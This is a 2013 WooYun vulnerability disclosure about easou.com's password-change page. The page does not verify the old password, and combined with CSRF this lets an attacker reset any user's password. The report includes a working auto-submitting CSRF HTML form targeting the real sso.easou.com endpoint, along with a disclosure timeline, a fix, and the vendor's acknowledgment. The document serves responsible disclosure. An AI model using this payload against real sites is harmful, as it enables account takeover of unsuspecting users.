当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-033803

漏洞标题：宜搜修改密码逻辑实现缺陷+CSRF配合可重置任意用户密码（绕过限制）

相关厂商：easou.com

漏洞作者： xfkxfk

提交时间：2013-08-08 10:40

修复时间：2013-09-22 10:40

公开时间：2013-09-22 10:40

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-08： 细节已通知厂商并且等待厂商处理中
2013-08-08： 厂商已经确认，细节仅向厂商公开
2013-08-18： 细节向核心白帽子及相关领域专家公开
2013-08-28： 细节向普通白帽子公开
2013-09-07： 细节向实习白帽子公开
2013-09-22： 细节向公众公开

简要描述：

宜搜某处设计缺陷+CSRF，可重置任意用户密码，绕过原有设计中的限制。

详细说明：

问题在修改密码处，一般修改密码都有输入原密码，新密码，确认新密码。
在这里，宜搜的设计也不例外，但是可以绕过源密码。
在页面上修改密码时必须输入原密码：

1.png


但是我们输入原密码后，抓包，改包，发现原密码没有进行验证，删除原密码可以继续进行修改：

2.png


我们修改请求，重置成功：

3.png


这里还存在csrf，刚好配合可以修改任意用户密码了：

<html>
<body>
<form id="xfkxfk" name="xfkxfk" action="http://sso.easou.com/user/changepass" method="POST">
<input type="text" name="newpwd" value="111111" />
<input type="text" name="confirm" value="111111" />
<input type="submit" value="submit">
</form>
<script>
   document.xfkxfk.submit();
</script>
</body>
</html>


访问之，成功修改密码：

4.png


这样我们就可以不用用户原密码，修改任意用户密码了！

漏洞证明：

见详细说明

修复方案：

1、为什么不验证原密码呢？
2、验证Referer，加token等。

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2013-08-08 10:48

厂商回复：

非常感谢指出，我们会及时改正

最新状态：

暂无